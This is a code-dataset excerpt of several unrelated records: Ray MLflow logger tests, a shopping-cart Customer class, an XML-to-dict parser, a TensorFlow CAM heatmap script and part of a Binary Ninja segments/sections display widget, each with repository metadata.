logger.mlflow_util._mlflow.get_tracking_uri(), self.tracking_uri\n )\n self.assertEqual(\n logger.mlflow_util._mlflow.get_registry_uri(), self.registry_uri\n )\n self.assertListEqual(\n [e.name for e in logger.mlflow_util._mlflow.search_experiments()],\n [\"test_exp\", \"existing_experiment\", \"Default\"],\n )\n self.assertEqual(logger.mlflow_util.experiment_id, \"2\")\n\n # Check if client recognizes already existing experiment.\n logger = MLflowLoggerCallback(\n experiment_name=\"existing_experiment\",\n tracking_uri=self.tracking_uri,\n registry_uri=self.registry_uri,\n )\n logger.setup()\n self.assertEqual(logger.mlflow_util.experiment_id, \"1\")\n\n # Pass in experiment name as env var.\n clear_env_vars()\n os.environ[\"MLFLOW_EXPERIMENT_NAME\"] = \"test_exp\"\n logger = MLflowLoggerCallback(\n tracking_uri=self.tracking_uri, registry_uri=self.registry_uri\n )\n logger.setup()\n self.assertEqual(logger.mlflow_util.experiment_id, \"2\")\n\n # Pass in existing experiment name as env var.\n clear_env_vars()\n os.environ[\"MLFLOW_EXPERIMENT_NAME\"] = \"existing_experiment\"\n logger = MLflowLoggerCallback(\n tracking_uri=self.tracking_uri, registry_uri=self.registry_uri\n )\n logger.setup()\n self.assertEqual(logger.mlflow_util.experiment_id, \"1\")\n\n # Pass in existing experiment id as env var.\n clear_env_vars()\n os.environ[\"MLFLOW_EXPERIMENT_ID\"] = \"1\"\n logger = MLflowLoggerCallback(\n tracking_uri=self.tracking_uri, registry_uri=self.registry_uri\n )\n logger.setup()\n self.assertEqual(logger.mlflow_util.experiment_id, \"1\")\n\n # Pass in non existing experiment id as env var.\n # This should create a new experiment.\n clear_env_vars()\n os.environ[\"MLFLOW_EXPERIMENT_ID\"] = \"500\"\n with self.assertRaises(ValueError):\n logger = MLflowLoggerCallback(\n tracking_uri=self.tracking_uri, registry_uri=self.registry_uri\n )\n logger.setup()\n\n # Experiment id env var should take precedence over name env var.\n clear_env_vars()\n os.environ[\"MLFLOW_EXPERIMENT_NAME\"] = \"test_exp\"\n os.environ[\"MLFLOW_EXPERIMENT_ID\"] = \"1\"\n logger = MLflowLoggerCallback(\n tracking_uri=self.tracking_uri, registry_uri=self.registry_uri\n )\n logger.setup()\n self.assertEqual(logger.mlflow_util.experiment_id, \"1\")\n\n # Using tags\n tags = {\"user_name\": \"John\", \"git_commit_hash\": \"abc123\"}\n clear_env_vars()\n os.environ[\"MLFLOW_EXPERIMENT_NAME\"] = \"test_tags\"\n os.environ[\"MLFLOW_EXPERIMENT_ID\"] = \"1\"\n logger = MLflowLoggerCallback(\n tracking_uri=self.tracking_uri, registry_uri=self.registry_uri, tags=tags\n )\n logger.setup()\n self.assertEqual(logger.tags, tags)\n\n @patch(\"ray.air.integrations.mlflow._MLflowLoggerUtil\", Mock_MLflowLoggerUtil)\n def testMlFlowLoggerLogging(self):\n clear_env_vars()\n trial_config = {\"par1\": \"a\", \"par2\": \"b\"}\n trial = MockTrial(trial_config, \"trial1\", 0, \"artifact\")\n\n logger = MLflowLoggerCallback(\n tracking_uri=self.tracking_uri,\n registry_uri=self.registry_uri,\n experiment_name=\"test1\",\n save_artifact=True,\n tags={\"hello\": \"world\"},\n )\n logger.setup()\n\n # Check if run is created with proper tags.\n logger.on_trial_start(iteration=0, trials=[], trial=trial)\n all_runs = logger.mlflow_util._mlflow.search_runs(experiment_ids=[\"2\"])\n self.assertEqual(len(all_runs), 1)\n # all_runs is a pandas dataframe.\n all_runs = all_runs.to_dict(orient=\"records\")\n run = logger.mlflow_util._mlflow.get_run(all_runs[0][\"run_id\"])\n self.assertDictEqual(\n run.data.tags,\n {\"hello\": \"world\", \"trial_name\": \"trial1\", \"mlflow.runName\": \"trial1\"},\n )\n self.assertEqual(logger._trial_runs[trial], run.info.run_id)\n # Params should be logged.\n self.assertDictEqual(run.data.params, trial_config)\n\n # When same trial is started again, new run should not be created.\n logger.on_trial_start(iteration=0, trials=[], trial=trial)\n all_runs = logger.mlflow_util._mlflow.search_runs(experiment_ids=[\"2\"])\n self.assertEqual(len(all_runs), 1)\n\n # Check metrics are logged properly.\n result = {\n \"metric1\": 0.8,\n \"metric2\": 1,\n \"metric3\": None,\n \"training_iteration\": 0,\n }\n logger.on_trial_result(0, [], trial, result)\n run = logger.mlflow_util._mlflow.get_run(run_id=run.info.run_id)\n # metric3 is not logged since it cannot be converted to float.\n self.assertDictEqual(\n run.data.metrics, {\"metric1\": 0.8, \"metric2\": 1.0, \"training_iteration\": 0}\n )\n\n # Check that artifact is logged on termination.\n logger.on_trial_complete(0, [], trial)\n self.assertTrue(logger.mlflow_util.artifact_saved)\n self.assertDictEqual(\n logger.mlflow_util.artifact_info,\n {\"dir\": \"artifact\", \"run_id\": run.info.run_id},\n )\n\n def testMlFlowSetupExplicit(self):\n clear_env_vars()\n trial_config = {\"par1\": 4, \"par2\": 9.0}\n\n # No MLflow config passed in.\n with self.assertRaises(ValueError):\n setup_mlflow(trial_config)\n\n # Invalid experiment-id\n with self.assertRaises(ValueError):\n setup_mlflow(trial_config, experiment_id=\"500\")\n\n # Set to experiment that does not already exist.\n with self.assertRaises(ValueError):\n setup_mlflow(\n trial_config,\n experiment_id=\"500\",\n experiment_name=\"new_experiment\",\n tracking_uri=self.tracking_uri,\n )\n\n mlflow = setup_mlflow(\n trial_config,\n experiment_id=\"500\",\n experiment_name=\"existing_experiment\",\n tracking_uri=self.tracking_uri,\n )\n mlflow.end_run()\n\n def testMlFlowSetupRankNonRankZero(self):\n \"\"\"Assert that non-rank-0 workers get a noop module\"\"\"\n storage = StorageContext(\n storage_path=tempfile.mkdtemp(),\n experiment_dir_name=\"exp_name\",\n trial_dir_name=\"trial_name\",\n )\n\n init_session(\n training_func=None,\n world_rank=1,\n local_rank=1,\n node_rank=1,\n local_world_size=2,\n world_size=2,\n storage=storage,\n )\n mlflow = setup_mlflow({})\n assert isinstance(mlflow, _NoopModule)\n\n mlflow.log_metrics()\n mlflow.sklearn.save_model(None, \"model_directory\")\n\n\nclass MLflowUtilTest(unittest.TestCase):\n def setUp(self):\n self.dirpath = tempfile.mkdtemp()\n import mlflow\n\n mlflow.set_tracking_uri(\"sqlite:///\" + self.dirpath + \"/mlflow.sqlite\")\n mlflow.create_experiment(name=\"existing_experiment\")\n\n self.mlflow_util = _MLflowLoggerUtil()\n self.tracking_uri = mlflow.get_tracking_uri()\n\n def tearDown(self):\n shutil.rmtree(self.dirpath)\n\n def test_experiment_id(self):\n self.mlflow_util.setup_mlflow(tracking_uri=self.tracking_uri, experiment_id=\"0\")\n assert self.mlflow_util.experiment_id == \"0\"\n\n def test_experiment_id_env_var(self):\n os.environ[\"MLFLOW_EXPERIMENT_ID\"] = \"0\"\n self.mlflow_util.setup_mlflow(tracking_uri=self.tracking_uri)\n assert self.mlflow_util.experiment_id == \"0\"\n del os.environ[\"MLFLOW_EXPERIMENT_ID\"]\n\n def test_experiment_name(self):\n self.mlflow_util.setup_mlflow(\n tracking_uri=self.tracking_uri, experiment_name=\"existing_experiment\"\n )\n assert self.mlflow_util.experiment_id == \"1\"\n\n def test_run_started_with_correct_experiment(self):\n experiment_name = \"my_experiment_name\"\n # Make sure run is started under the correct experiment.\n self.mlflow_util.setup_mlflow(\n tracking_uri=self.tracking_uri, experiment_name=experiment_name\n )\n run = self.mlflow_util.start_run(set_active=True)\n assert (\n run.info.experiment_id\n == self.mlflow_util._mlflow.get_experiment_by_name(\n experiment_name\n ).experiment_id\n )\n\n self.mlflow_util.end_run()\n\n def test_experiment_name_env_var(self):\n os.environ[\"MLFLOW_EXPERIMENT_NAME\"] = \"existing_experiment\"\n self.mlflow_util.setup_mlflow(tracking_uri=self.tracking_uri)\n assert self.mlflow_util.experiment_id == \"1\"\n del os.environ[\"MLFLOW_EXPERIMENT_NAME\"]\n\n def test_id_precedence(self):\n os.environ[\"MLFLOW_EXPERIMENT_ID\"] = \"0\"\n self.mlflow_util.setup_mlflow(\n tracking_uri=self.tracking_uri, experiment_name=\"new_experiment\"\n )\n assert self.mlflow_util.experiment_id == \"0\"\n del os.environ[\"MLFLOW_EXPERIMENT_ID\"]\n\n def test_new_experiment(self):\n self.mlflow_util.setup_mlflow(\n tracking_uri=self.tracking_uri, experiment_name=\"new_experiment\"\n )\n assert self.mlflow_util.experiment_id == \"2\"\n\n def test_setup_fail(self):\n with self.assertRaises(ValueError):\n self.mlflow_util.setup_mlflow(\n tracking_uri=self.tracking_uri,\n experiment_name=\"new_experiment2\",\n create_experiment_if_not_exists=False,\n )\n\n def test_log_params(self):\n params = {\"a\": \"a\", \"x\": {\"y\": \"z\"}}\n self.mlflow_util.setup_mlflow(\n tracking_uri=self.tracking_uri, experiment_name=\"new_experiment\"\n )\n run = self.mlflow_util.start_run()\n run_id = run.info.run_id\n self.mlflow_util.log_params(params_to_log=params, run_id=run_id)\n\n run = self.mlflow_util._mlflow.get_run(run_id=run_id)\n assert run.data.params == flatten_dict(params)\n\n params2 = {\"b\": \"b\"}\n self.mlflow_util.start_run(set_active=True)\n self.mlflow_util.log_params(params_to_log=params2, run_id=run_id)\n run = self.mlflow_util._mlflow.get_run(run_id=run_id)\n assert run.data.params == flatten_dict(\n {\n **params,\n **params2,\n }\n )\n\n self.mlflow_util.end_run()\n\n def test_log_metrics(self):\n metrics = {\"a\": 1.0, \"x\": {\"y\": 2.0}}\n self.mlflow_util.setup_mlflow(\n tracking_uri=self.tracking_uri, experiment_name=\"new_experiment\"\n )\n run = self.mlflow_util.start_run()\n run_id = run.info.run_id\n self.mlflow_util.log_metrics(metrics_to_log=metrics, run_id=run_id, step=0)\n\n run = self.mlflow_util._mlflow.get_run(run_id=run_id)\n assert run.data.metrics == flatten_dict(metrics)\n\n metrics2 = {\"b\": 1.0}\n self.mlflow_util.start_run(set_active=True)\n self.mlflow_util.log_metrics(metrics_to_log=metrics2, run_id=run_id, step=0)\n assert self.mlflow_util._mlflow.get_run(\n run_id=run_id\n ).data.metrics == flatten_dict(\n {\n **metrics,\n **metrics2,\n }\n )\n self.mlflow_util.end_run()\n\n\nif __name__ == \"__main__\":\n import sys\n\n import pytest\n\n sys.exit(pytest.main([\"-v\", __file__]))\n", "repo_name": "ray-project/ray", "sub_path": "python/ray/air/tests/test_integration_mlflow.py", "file_name": "test_integration_mlflow.py", "file_ext": "py", "file_size_in_byte": 13651, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28715, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.namedtuple", "line_number": 18, "usage_type": "call"}, {"api_name": "ray.air._internal.mlflow._MLflowLoggerUtil", "line_number": 27, "usage_type": "name"}, {"api_name": "os.environ.pop", "line_number": 34, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.environ.pop", "line_number": 35, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 35, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tempfile.mkdtemp", "line_number": 40, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 41, "usage_type": "call"}, {"api_name": "mlflow.tracking.MlflowClient", "line_number": 43, "usage_type": "call"}, {"api_name": "ray.train._internal.session.shutdown_session", "line_number": 53, "usage_type": "call"}, {"api_name": "ray.air.integrations.mlflow.MLflowLoggerCallback", "line_number": 57, "usage_type": "call"}, {"api_name": "ray.air.integrations.mlflow.MLflowLoggerCallback", "line_number": 76, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 86, "usage_type": "attribute"}, {"api_name": "ray.air.integrations.mlflow.MLflowLoggerCallback", "line_number": 87, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 95, "usage_type": "attribute"}, {"api_name": "ray.air.integrations.mlflow.MLflowLoggerCallback", "line_number": 96, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 104, "usage_type": "attribute"}, {"api_name": "ray.air.integrations.mlflow.MLflowLoggerCallback", "line_number": 105, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 114, "usage_type": "attribute"}, {"api_name": "ray.air.integrations.mlflow.MLflowLoggerCallback", "line_number": 116, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 124, "usage_type": "attribute"}, {"api_name": "ray.air.integrations.mlflow.MLflowLoggerCallback", "line_number": 125, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 135, "usage_type": "attribute"}, {"api_name": "ray.air.integrations.mlflow.MLflowLoggerCallback", "line_number": 136, "usage_type": "call"}, {"api_name": "ray.air.integrations.mlflow.MLflowLoggerCallback", "line_number": 148, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 142, "usage_type": "call"}, {"api_name": "ray.air.integrations.mlflow.setup_mlflow", "line_number": 205, "usage_type": "call"}, {"api_name": "ray.air.integrations.mlflow.setup_mlflow", "line_number": 209, "usage_type": "call"}, {"api_name": "ray.air.integrations.mlflow.setup_mlflow", "line_number": 213, "usage_type": "call"}, {"api_name": "mlflow.tracking", "line_number": 220, "usage_type": "name"}, {"api_name": "ray.air.integrations.mlflow.setup_mlflow", "line_number": 220, "usage_type": "call"}, {"api_name": "mlflow.tracking.end_run", "line_number": 226, "usage_type": "call"}, {"api_name": "mlflow.tracking", "line_number": 226, "usage_type": "name"}, {"api_name": "ray.train._internal.storage.StorageContext", "line_number": 230, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 231, "usage_type": "call"}, {"api_name": "ray.train._internal.session.init_session", "line_number": 236, "usage_type": "call"}, {"api_name": "mlflow.tracking", "line_number": 245, "usage_type": "name"}, {"api_name": "ray.air.integrations.mlflow.setup_mlflow", "line_number": 245, "usage_type": "call"}, {"api_name": "mlflow.tracking", "line_number": 246, "usage_type": "argument"}, {"api_name": "ray.air.integrations.mlflow._NoopModule", "line_number": 246, "usage_type": "argument"}, {"api_name": "mlflow.tracking.log_metrics", "line_number": 248, "usage_type": "call"}, {"api_name": "mlflow.tracking", "line_number": 248, "usage_type": "name"}, {"api_name": "mlflow.tracking.sklearn.save_model", "line_number": 249, "usage_type": "call"}, {"api_name": "mlflow.tracking.sklearn", "line_number": 249, "usage_type": "attribute"}, {"api_name": "mlflow.tracking", "line_number": 249, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 252, "usage_type": "attribute"}, {"api_name": "tempfile.mkdtemp", "line_number": 254, "usage_type": "call"}, {"api_name": "mlflow.set_tracking_uri", "line_number": 257, "usage_type": "call"}, {"api_name": "mlflow.create_experiment", "line_number": 258, "usage_type": "call"}, {"api_name": "ray.air._internal.mlflow._MLflowLoggerUtil", "line_number": 260, "usage_type": "call"}, {"api_name": "mlflow.get_tracking_uri", "line_number": 261, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 264, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 271, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 274, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 299, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 302, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 305, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 310, "usage_type": "attribute"}, {"api_name": "ray._private.dict.flatten_dict", "line_number": 336, "usage_type": "call"}, {"api_name": "ray._private.dict.flatten_dict", "line_number": 342, "usage_type": "call"}, {"api_name": "ray._private.dict.flatten_dict", "line_number": 361, "usage_type": "call"}, {"api_name": "ray._private.dict.flatten_dict", "line_number": 368, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 382, "usage_type": "call"}, {"api_name": "pytest.main", "line_number": 382, "usage_type": "call"}]} +{"seq_id": "23975684472", "text": "from utils.get_product_to_cart import get_product_to_cart\r\n\r\n\r\nclass Customer:\r\n def __init__(self, id, balance, cart, promo):\r\n self.id = id\r\n self.balance = balance\r\n self.cart = cart\r\n self.promo = promo\r\n\r\n # Захар помог решить проблему:\r\n\r\n def add_product_to_cart(self, products_arr: list, product_title: str):\r\n\r\n len_of_cart = len(self.cart)\r\n\r\n try:\r\n if len_of_cart == 0:\r\n needed_product = list(filter(lambda product: product[\"title\"] == product_title, products_arr))\r\n\r\n get_product_to_cart(needed_product, self.cart)\r\n\r\n elif len_of_cart != 0:\r\n product_in_cart = list(filter(lambda product: product[\"title\"] == product_title, self.cart))\r\n\r\n if not product_in_cart:\r\n needed_product = list(filter(lambda product: product[\"title\"] == product_title, products_arr))\r\n\r\n get_product_to_cart(needed_product, self.cart)\r\n\r\n else:\r\n product_in_cart = list(filter(lambda product: product[\"title\"] == product_title, self.cart))\r\n needed_product = list(filter(lambda product: product[\"title\"] == product_title, products_arr))\r\n\r\n if needed_product[0][\"count\"] > 0:\r\n\r\n needed_product[0][\"count\"] -= 1\r\n product_in_cart[0][\"count\"] += 1\r\n\r\n else:\r\n print(\"We can delivery this product for U per 3-5 days\")\r\n except:\r\n print(\"Error\")\r\n\r\n # Без помощи Захара\r\n\r\n # for prod in self.cart:\r\n # if prod[\"title\"] == product_title and prod[\"count\"] > 0:\r\n # prod[\"count\"] += 1\r\n # return\r\n #\r\n # for product in products_arr:\r\n # if product[\"title\"] == product_title and product[\"count\"] == 0:\r\n # print(\"We can delivery this product per 3-5 days\")\r\n #\r\n # if product[\"title\"] == product_title and product[\"count\"] != 0:\r\n # new_product = product.copy()\r\n # new_product[\"count\"] = 1\r\n # self.cart.append(new_product)\r\n #\r\n # product[\"count\"] -= 1\r\n\r\n def bye_product(self, promo):\r\n sum_cart = 0\r\n\r\n for product in self.cart:\r\n\r\n if self.promo and product[\"withPromo\"]:\r\n product[\"price\"] *= promo\r\n\r\n sum_cart += product[\"price\"] * product[\"count\"]\r\n\r\n if sum_cart > self.balance:\r\n print(\"Get uot!!!\")\r\n\r\n else:\r\n self.balance -= sum_cart\r\n\r\n", "repo_name": "denys-bozhok/py_hw_14", "sub_path": "less-14/Customer.py", "file_name": "Customer.py", "file_ext": "py", "file_size_in_byte": 2713, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "utils.get_product_to_cart.get_product_to_cart", "line_number": 21, "usage_type": "call"}, {"api_name": "utils.get_product_to_cart.get_product_to_cart", "line_number": 29, "usage_type": "call"}]} +{"seq_id": "14511368639", "text": "__all__ = ['XML2Dict']\n\ntry:\n import cElementTree as etree\nexcept ImportError:\n try:\n import xml.etree.ElementTree as etree\n except ImportError:\n from elementtree import ElementTree as etree\n# import third party\n# import local\n\n\nclass XML2Dict(object):\n \"\"\"\n XML2Dict: Convert xml string to python dict\n \"\"\"\n\n def __init__(self, coding = 'UTF-8'):\n self._coding = coding\n\n def _parse_node(self, node):\n tree = {}\n for child in node.getchildren():\n ctag = child.tag\n cattr = child.attrib\n ctree = self._parse_node(child)\n ctext = child.text\n if ctext:\n ctext = ctext.strip().encode(self._coding)\n if not ctree:\n cdict = self._make_dict(ctag, ctext, cattr)\n else:\n cdict = self._make_dict(ctag, ctree, cattr)\n # First time found\n if ctag not in tree:\n tree.update(cdict)\n continue\n atag = '@' + ctag\n atree = tree[ctag]\n if not isinstance(atree, list):\n if atag in tree:\n atree['#'+ctag] = tree[atag]\n del tree[atag]\n # Multi entries, change to list\n tree[ctag] = [atree]\n if cattr:\n ctree['#'+ctag] = cattr\n tree[ctag].append(ctree)\n return tree\n\n def _make_dict(self, tag, value, attr = None):\n \"\"\"\n Generate a new dict with tag and value\n \n If attr is True then convert tag name to @tag\n and convert tuple list to dict\n \"\"\"\n ret = {tag: value}\n # Save attributes as @tag value\n if attr:\n atag = '@' + tag\n aattr = {}\n for k, v in attr.items():\n aattr[k] = v\n ret[atag] = aattr\n del atag\n del aattr\n return ret\n\n def parse(self, xml):\n \"\"\"\n Parse xml string to python dict\n \"\"\"\n tree = etree.fromstring(xml)\n return self._make_dict(tree.tag, self._parse_node(tree), tree.attrib)\n\n", "repo_name": "wiredobjects/seminode.utils.xmldict", "sub_path": "src/seminode/utils/xmldict.py", "file_name": "xmldict.py", "file_ext": "py", "file_size_in_byte": 2166, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "elementtree.ElementTree.fromstring", "line_number": 75, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 75, "usage_type": "argument"}, {"api_name": "elementtree.ElementTree", "line_number": 75, "usage_type": "name"}]} +{"seq_id": "40373090626", "text": "import os\r\nimport glob\r\n\r\nimport cv2\r\nimport numpy as np\r\nfrom random import shuffle\r\n\r\nimport tensorflow as tf\r\n\r\nfrom Learnit.CAM.Define import *\r\nfrom Learnit.CAM.ResNet import *\r\n\r\n# random -> 0~ 1\r\ndef normalize(vector):\r\n min_value = np.min(vector)\r\n max_value = np.max(vector)\r\n\r\n vector -= min_value\r\n vector /= (max_value - min_value)\r\n\r\n return vector\r\n\r\nif __name__ == '__main__':\r\n\r\n #train & test db load\r\n train_dir = '../../DB/image/train/'\r\n test_dir = '../../DB/image/test/'\r\n\r\n train_names = os.listdir(train_dir)\r\n \r\n #path define\r\n model_path = './model/'\r\n model_name = 'resnet_{}.ckpt'\r\n \r\n input_var = tf.placeholder(tf.float32, shape=[None, IMAGE_WIDTH, IMAGE_HEIGHT, IMAGE_CHANNEL], name = 'input')\r\n\r\n #test\r\n cls_idx = tf.placeholder(tf.int32)\r\n\r\n training_flag = False\r\n net, conv, fc_w = ResNet(input_var, training_flag)\r\n heatmaps = Visualize(cls_idx, conv, fc_w)\r\n \r\n #save\r\n saver = tf.train.Saver(tf.global_variables())\r\n\r\n with tf.Session() as sess:\r\n sess.run(tf.global_variables_initializer())\r\n saver.restore(sess, model_path + model_name.format(300))\r\n\r\n for train_name in train_names:\r\n img = cv2.imread(train_dir + train_name)\r\n\r\n output = sess.run(net, feed_dict={input_var : [img]})[0]\r\n print(train_dir + train_name, ' : ', np.argmax(output))\r\n\r\n _heatmaps = sess.run(heatmaps, feed_dict={input_var :[img], cls_idx:np.argmax(output)})\r\n _heatmap = _heatmaps[0]\r\n\r\n norm_heatmap = normalize(_heatmap)\r\n\r\n _heatmap = norm_heatmap * 255.\r\n _heatmap = _heatmap.astype(np.uint8)\r\n _heatmap = cv2.applyColorMap(_heatmap, cv2.COLORMAP_JET)\r\n _heatmap = cv2.resize(_heatmap, (IMAGE_WIDTH, IMAGE_HEIGHT), interpolation = cv2.INTER_CUBIC)\r\n\r\n ori_img = img.copy()\r\n img = cv2.addWeighted(img, 0.5, _heatmap, 0.5, 0)\r\n img = cv2.resize(img, (112, 112), interpolation = cv2.INTER_CUBIC)\r\n\r\n cv2.imshow('show', img)\r\n cv2.imshow('heatmap', _heatmap)\r\n cv2.imshow('original', ori_img)\r\n cv2.waitKey(0)", "repo_name": "mnbv7581/syim.github.com", "sub_path": "CAM/test2.py", "file_name": "test2.py", "file_ext": "py", "file_size_in_byte": 2211, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.min", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 16, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 45, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 63, "usage_type": "attribute"}, {"api_name": "cv2.applyColorMap", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.COLORMAP_JET", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 65, "usage_type": "attribute"}, {"api_name": "cv2.addWeighted", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 69, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 74, "usage_type": "call"}]} +{"seq_id": "29071300356", "text": "# coding: utf8\n\nfrom PySide6.QtWidgets import QWidget, QLabel, QGridLayout, QHBoxLayout\nfrom binaryninja.enums import SectionSemantics\nimport binaryninjaui\nfrom binaryninjaui import ViewFrame, UIContext\nfrom binaryninja.enums import ThemeColor\nfrom . import headers\n\n\nclass SegmentsWidget(QWidget):\n\tdef __init__(self, parent, data):\n\t\tsuper(SegmentsWidget, self).__init__(parent)\n\n\t\tlayout = QGridLayout()\n\t\tlayout.setContentsMargins(0, 0, 0, 0)\n\t\tlayout.setVerticalSpacing(1)\n\t\tlayout.setHorizontalSpacing(UIContext.getScaledWindowSize(16, 16).width())\n\n\t\tself.segments = []\n\t\tfor segment in data.segments:\n\t\t\tif segment.readable or segment.writable or segment.executable:\n\t\t\t\tself.segments.append(segment)\n\t\tself.segments.sort(key = lambda segment: segment.start)\n\n\t\trow = 0\n\t\tfor segment in self.segments:\n\t\t\tbegin = \"0x%x\" % segment.start\n\t\t\tend = \"0x%x\" % segment.end\n\n\t\t\tpermissions = \"\"\n\t\t\tif segment.readable:\n\t\t\t\tpermissions += \"r\"\n\t\t\telse:\n\t\t\t\tpermissions += \"-\"\n\t\t\tif segment.writable:\n\t\t\t\tpermissions += \"w\"\n\t\t\telse:\n\t\t\t\tpermissions += \"-\"\n\t\t\tif segment.executable:\n\t\t\t\tpermissions += \"x\"\n\t\t\telse:\n\t\t\t\tpermissions += \"-\"\n\n\t\t\trangeLayout = QHBoxLayout()\n\t\t\trangeLayout.setContentsMargins(0, 0, 0, 0)\n\t\t\tbeginLabel = headers.ClickableAddressLabel(begin)\n\t\t\tdashLabel = QLabel(\"-\")\n\t\t\tdashLabel.setFont(binaryninjaui.getMonospaceFont(self))\n\t\t\tendLabel = headers.ClickableAddressLabel(end)\n\t\t\trangeLayout.addWidget(beginLabel)\n\t\t\trangeLayout.addWidget(dashLabel)\n\t\t\trangeLayout.addWidget(endLabel)\n\t\t\tlayout.addLayout(rangeLayout, row, 0)\n\n\t\t\tpermissionsLabel = QLabel(permissions)\n\t\t\tpermissionsLabel.setFont(binaryninjaui.getMonospaceFont(self))\n\t\t\tlayout.addWidget(permissionsLabel, row, 1)\n\n\t\t\trow += 1\n\n\t\tlayout.setColumnStretch(2, 1)\n\t\tself.setLayout(layout)\n\n\nclass SectionsWidget(QWidget):\n\tdef __init__(self, parent, data):\n\t\tsuper(SectionsWidget, self).__init__(parent)\n\n\t\tlayout = QGridLayout()\n\t\tlayout.setContentsMargins(0, 0, 0, 0)\n\t\tlayout.setVerticalSpacing(1)\n\t\tlayout.setHorizontalSpacing(UIContext.getScaledWindowSize(16, 16).width())\n\n\t\tmaxNameLen = 0\n\t\tfor section in data.sections.values():\n\t\t\tif len(section.name) > maxNameLen:\n\t\t\t\tmaxNameLen = len(section.name)\n\t\tif maxNameLen > 32:\n\t\t\tmaxNameLen = 32\n\n\t\tself.sections = []\n\t\tfor section in data.sections.values():\n\t\t\tif section.semantics != SectionSemantics.ExternalSectionSemantics:\n\t\t\t\tself.sections.append(section)\n\t\tself.sections.sort(key = lambda section: section.start)\n\n\t\trow = 0\n\t\tfor section in self.sections:\n\t\t\tname = section.name\n\t\t\tif len(name) > maxNameLen:\n\t\t\t\tname = name[:maxNameLen - 1] + \"…\"\n\n\t\t\tbegin = \"0x%x\" % section.start\n\t\t\tend = \"0x%x\" % section.end\n\t\t\ttypeName = section.type\n\n\t\t\tpermissions = \"\"\n\t\t\tif data.is_offset_readable(section.start):\n\t\t\t\tpermissions += \"r\"\n\t\t\telse:\n\t\t\t\tpermissions += \"-\"\n\t\t\tif data.is_offset_writable(section.start):\n\t\t\t\tpermissions += \"w\"\n\t\t\telse:\n\t\t\t\tpermissions += \"-\"\n\t\t\tif data.is_offset_executable(section.start):\n\t\t\t\tpermissions += \"x\"\n\t\t\telse:\n\t\t\t\tpermissions += \"-\"\n\n\t\t\tsemantics = \"\"\n\t\t\tif section.semantics == SectionSemantics.ReadOnlyCodeSectionSemantics:\n\t\t\t\tsemantics = \"Code\"\n\t\t\telif section.semantics == SectionSemantics.ReadOnlyDataSectionSemantics:\n\t\t\t\tsemantics = \"Read-only Data\"\n\t\t\telif section.semantics == SectionSemantics.ReadWriteDataSectionSemantics:\n\t\t\t\tsemantics = \"Writable Data\"\n\n\t\t\tnameLabel = QLabel(name)\n\t\t\tnameLabel.setFont(binaryninjaui.getMonospaceFont(self))\n\t\t\tlayout.addWidget(nameLabel, row, 0)\n\n\t\t\trangeLayout = QHBoxLayout()\n\t\t\trangeLayout.setContentsMargins(0, 0, 0, 0)\n\t\t\tbeginLabel = headers.ClickableAddressLabel(begin)\n\t\t\tdashLabel = 